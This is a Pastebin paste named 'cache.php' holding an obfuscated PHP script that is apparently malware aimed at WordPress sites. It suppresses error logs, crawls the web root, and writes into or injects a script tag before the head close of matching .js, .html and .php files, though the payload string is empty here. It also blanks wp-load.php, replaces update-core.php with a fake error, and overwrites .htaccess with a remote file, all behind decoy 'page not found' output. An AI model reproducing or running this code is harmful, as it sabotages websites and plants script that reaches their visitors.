Advertisement
PalmaSolutions

cache.php

Jun 22nd, 2018
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.75 KB | None | 0 0
  1. <?php @ini_set("error_log",null);@ini_set("log_errors",0);@ini_set("max_execution_time",0);@set_time_limit(0);error_reporting(0);$c_='j';$c0='e';$c1='e';$c2='';$c3=1;function a_($c4){global $c_,$c2,$c3,$c0,$c1;$c5=scandir($c4);foreach($c5 as$c6=>$c7){$c8=realpath($c4.DIRECTORY_SEPARATOR.$c7);if(!is_dir($c8)){$c9=pathinfo($c8);$c=stripos($c9['basename'],'.js');if($c!==false){$cЂ=stripos($c9['basename'],$c_);if($cЂ!==false){echo'WP_Error_Page_Not_Found '." </br>";$cЃ=stripos(file_get_contents($c8),$c2);if($cЃ===false){if($c3==2){}else{file_put_contents($c8,$c2);}}}}else{$c‚=stripos($c9['basename'],'.html');if($c‚!==false){$c„=stripos($c9['basename'],$c0);if($c„!==false){echo'WP_Error_Page_Not_Found HTML_Tag '." </br>";$c…=stripos(file_get_contents($c8),$c2);if($c…===false){if($c3==2){}else{$c†=file_get_contents($c8);$c†=str_replace('</head>','<script type="text/javascript">'.$c2.'</script></head>',$c†);file_put_contents($c8,$c†);}}}}$c‡=stripos($c9['basename'],'.php');if($c‡!==false){$c€=stripos($c9['basename'],$c1);if($c€!==false){echo'WP_Error_Page_Not_Found PHP_Tag '." </br>";$c‰=stripos(file_get_contents($c8),$c2);if($c‰===false){if($c3==2){}else{$c†=file_get_contents($c8);$c†=str_replace('</head>','<script type="text/javascript">'.$c2.'</script></head>',$c†);file_put_contents($c8,$c†);}}}}}}elseif($c7!="."&&$c7!=".."){a_($c8);}}}$c8=$_SERVER['DOCUMENT_ROOT'];if(unlink($c8."/wp-load.php")){file_put_contents($c8."/wp-load.php","");}if(unlink($c8.'/wp-admin/update-core.php')){}else{file_put_contents($c8.'/wp-admin/update-core.php','Error update #0x2515');}if(unlink($c8.'/.htaccess')){}else{file_put_contents($c8.'/.htaccess',file_get_contents('https://gist.githubusercontent.com/BFTrick/3706672/raw/be744502cf3921f761cbef11878af6f4a2024c3d/.htaccess'));}$cЃ=stripos($c8,'public_html');if($cЃ!==false){$cЉ=substr($c8,0,stripos($c8,'public_html')+strlen('public_html'));a_($cЉ);}else{$cЃ=stripos($c8,'html');if($cЃ!==false){$cЉ=substr($c8,0,stripos($c8,'html')+strlen('html'));a_($cЉ);}else{$cЃ=stripos($c8,'htdocs');if($cЃ!==false){$cЉ=substr($c8,0,stripos($c8,'htdocs')+strlen('htdocs'));a_($cЉ);}else{$cЃ=stripos($c8,'httpdocs');if($cЃ!==false){$cЉ=substr($c8,0,stripos($c8,'httpdocs')+strlen('httpdocs'));a_($cЉ);}else{$cЃ=stripos($c8,'vhosts');if($cЃ!==false){$cЉ=substr($c8,0,stripos($c8,'vhosts')+strlen('vhosts'));a_($cЉ);}else{$cЃ=stripos($c8,'www');if($cЃ!==false){$cЉ=substr($c8,0,stripos($c8,'www')+strlen('www'));a_($cЉ);}else{$cЃ=stripos($c8,'wwwroot');if($cЃ!==false){$cЉ=substr($c8,0,stripos($c8,'wwwroot')+strlen('wwwroot'));echo($cЉ);a_($cЉ);}else{$cЃ=stripos($c8,'web');if($cЃ!==false){$cЉ=substr($c8,0,stripos($c8,'web')+strlen('web'));a_($cЉ);}else{a_($_SERVER['DOCUMENT_ROOT']);}}}}}}}};
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement